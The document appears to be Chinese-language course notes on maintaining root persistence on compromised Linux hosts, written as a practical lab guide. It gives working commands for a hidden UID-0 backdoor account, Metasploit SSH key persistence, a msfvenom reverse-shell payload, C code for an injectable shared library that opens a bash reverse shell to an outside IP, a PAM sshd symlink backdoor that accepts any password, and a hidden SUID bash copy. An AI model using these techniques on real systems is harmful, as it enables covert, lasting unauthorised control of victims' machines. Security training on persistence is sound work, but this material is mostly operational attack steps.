0x01.linux權限維持的基本思路
權限維持的前提:有shell 是root權限
1.linux操作系統的基本特點
a.長時間運行並帶有服務
b.文件結構簡單
c.用戶權限清晰
2.基本知識面
賬戶 : 賬戶的使用、創建和鏈接(以ssh為主)
操作系統 : 基於linux的系統特性來思考linux系統本身可以利用的權限維持技巧
系統應用 : 從linux操作系統中的各種通用性較廣的應用思考權限維持
3.如何快速學習linux權限維持的新技巧
從觸發轉變為持續
a.思考的重點重基於事件觸發變為持續
b.利用的點從操作系統本身轉到應用
c."權限"從"控制的權限“到"提權的權限
0x02.基於賬號的linux后門
1.添加linux用戶
普通方式
useradd 用戶名
passwd 用戶名
輸入密碼
不普通的方式 (直接修改密碼相關的兩個文件)
添加一個具有root權限的普通用戶
修改/etc/passwd(密碼引導文件)和/etc/shadow(密碼真正的文件)
passwd
test:x:0:0::/:/bin/bash
shadow (密碼:123456)
test:密碼密文:13407:0:99999:7:::
先復制到tmp目錄下,修改好在覆蓋源文件,注意這里的密碼密文不同操作系統是不一樣的,所以手動要先生成
一句話添加
useradd -p 0`openssl passwd -1 -salt 'abc' 123456` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/chiyu chiyu
useradd 添加用戶
useradd -p 0`openssl passwd -1 -salt 'abc' cqrdpass` abc是鹽值,可以隨便填寫,cqrdpass是設置的密碼
-u 0 -o 添加一個uid為 0的用戶 就相對於root級別的了
-g root -G root 將用戶添加到root組
-s /bin/bash 指定新建用戶的shell路徑
-d /usr/bin/cqrd 新建用戶的主目錄,可以自己定義
cqrd 新建的用戶的用戶名
測試不能用ssh登錄,不知道原因
2.如何連接linux用戶
ssh基本使用:
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
[-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
[-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
[-i identity_file] [-J [user@]host[:port]] [-L address]
[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
[-Q query_option] [-R address] [-S ctl_path] [-W host:port]
[-w local_tun[:remote_tun]] destination [command]
[-i identity_file] [-J [user@]host[:port]]這部分的需要記住,很常用。
3.基本的密鑰體系概念(以ssh舉例)
對稱與非對稱密鑰體系
同一個密鑰既可以加密又可以解密就是對稱的密鑰體系,密文或明文的確定正確由這個密鑰決定
有專門的密鑰來負責加密,有專門的密鑰負責解密就是非對稱的密鑰體系,密文的的確定正確由負責加
密的密鑰確定(公鑰),明文的確定正確由負責解密的密鑰確定(私鑰),二者的統一確定由加密的密
鑰統一決定
對稱密鑰舉例:
密文:2個2
明文:4
密鑰:加號
加密過程:4=2+2
解密過程:2+2=4
非對稱密鑰舉例:
密文:2
公鑰:兩個2
私鑰一:加號
私鑰二:乘號
明文:4
加密過程:4由兩個2組成
解密過程一:4=2+2
解密過程二:4=2*2
ssh認證過程
SSH登錄主要分為兩個階段:
1)協商客戶端和服務端雙方通信所使用的共享密鑰,並用這個共享密鑰實現后續會話過程的對稱加密;
2)使用非對稱加密方式驗證客戶端的身份。
兩種登陸方式:
1.密碼:
1)服務端收到客戶端的請求后,把自己的公鑰發送給客戶端(與會話密鑰不同,是服務器自身的公鑰/
私鑰對);
2)客戶端使用收到的公鑰加密密碼,並發送回服務器;
3)服務器使用自己私鑰解密信息,若密碼正確,則通過驗證。
2.密鑰:
前提條件是手動將客戶端的公鑰發送給服務器,並填入authorized_keys文件中。
1)客戶端把用戶驗證的密鑰對ID發送給服務器;
2)服務器根據密鑰對ID在對應用戶的authorized_keys文件中進行檢索;
3)假設服務器在文件中找到符合密鑰對ID的公鑰,服務器將生成一個隨機數,並用這個公鑰進行加密;
4)服務器將加密后的信息發送給客戶端;
5)假設客戶端擁有對應的私鑰,就可以解密出原來的隨機數;
6)客戶端將得到的隨機數與加密會話所用的會話密鑰拼接一起后,計算其MD5哈希值;
7)客戶端將MD5哈希值發送回服務器;
8)服務器使用相同的會話共享密鑰和他生成的隨機數計算出MD5哈希值,並與客戶端返回的MD5哈希
值進行比較。如果兩個值相等,證明客戶端擁有對應私鑰,則通過驗證。
678步可以僅做了解
4.如何使用ssh做權限維持(必做作業)
下載服務器私鑰鏈接,攻擊者使用私鑰鏈接
ssh -i 私鑰文件 用戶@ip
寫公鑰到被控端~/.ssh/authorized_keys文件
ssh 用戶@ip
補充:
msf中有一個關於上面兩個的自動化模塊
post/linux/manage/sshkey_persistence
設置session
run
就會拿到私鑰,以及添加公鑰到靶機的~/.ssh/authorized_keys
實戰實驗:
1.生成linuxpayload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -f elf -o /root/linuxpayload
2.通過http服務,靶機下載payload
python:
python3 -m http.server
php:
php -S 192.168.0.114:80
3.msf設置監聽
set payload linux/x86/meterpreter/reverse_tcp
4.靶機運行payload
5.上線會話放到后台
6.使用post模塊、
use post/linux/manage/sshkey_persistence
set session 2
run

7.使用下載的私鑰鏈接
降低私鑰權限
chmod 600 /root/.msf4/loot/20210724101627_default_192.168.0.113_id_rsa_934346.txt
ssh -i /root/.msf4/loot/20210724101627_default_192.168.0.113_id_rsa_934346.txt root@192.168.0.113

8.寫公鑰到被控機
生成本地公鑰
ssh-keygen (一路回車,然后會生成下面兩個文件)

把id_rsa.pub寫到被控機的~/.ssh/authorized_keys中
cd /root/.ssh
upload /root/.ssh/id_rsa.pub .
mv id_rsa.pub authorized_keys
直接鏈接

0x03.基於linux特性的權限維持
1.進程注入
老師說進程遷移也是一種進程注入就是用一個dll文件調另一個dll文件
gaffe23/linux-inject
https://github.com/gaffe23/linux-inject
下載后需要make一下

inject sample-library.so sample-target
注入工具 要注入的文件 默認演示的進程 (持續運行)
實驗演示
1.開啟演示進程
./sample-target
2.查看正在運行的進程
ps -a
3.注入進程
./inject -p PID sample-library.so

關閉系統的一個進程管理工具 , 這個工具作用:不允許莫名其妙的東西運行在你的進程上
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
代碼 文件名:socket.so
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
void shell()
{
system( "bash -c 'bash -i >& /dev/tcp/192.168.0.113/4444 0>&1'");
}
__attribute__((constructor))
void loadMsg()
{
shell();
}
編譯
clang -std=gnu99 -ggdb -D_GNU_SOURCE -shared -o socket.so -lpthread -fPIC socket.c
使用
./sample-target
./inject -p pid socket.so
實戰可以注入到apache進程中
演示 : 被控機器---》 kali

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

拿到shell

3.PAM(ssh軟連接)
尋找支持pam的程序
cd /etc/pam.d

找到支持的程序具體在什么位置
whereis su

軟連接
ln –sf /usr/sbin/sshd /bin/su;/bin/su –oPort=4444
相當於攻擊者用ssh鏈接被控機器的444端口,但是被控機這邊只是調用了一個su而已,不涉及敏感操作,不會攔截,然后pam中會有所有的ssh認證過程,然后攻擊者就連上了

ssh鏈接 , 輸入任意密碼即可
ssh 192.168.0.113 -p 4444

4.suid的權限維持(提權通道維持)
1.找到bash文件
whereis bash
2.復制到普通用戶環境能接觸的文件夾
cp /bin/bash /tmp/.bash
3.設置權限
chmod 4755 /tmp/.bash #設置suid 4代表suid
4.使用
普通用戶登錄
/tmp/.bash -p

0x04.基於linux系統應用的權限維持
1.rookit
缺點:動靜特別大,很容易被發現,安裝也不簡單
優點:如果成功,對方只能恢復快照,無其他方法
github: linux rootkit
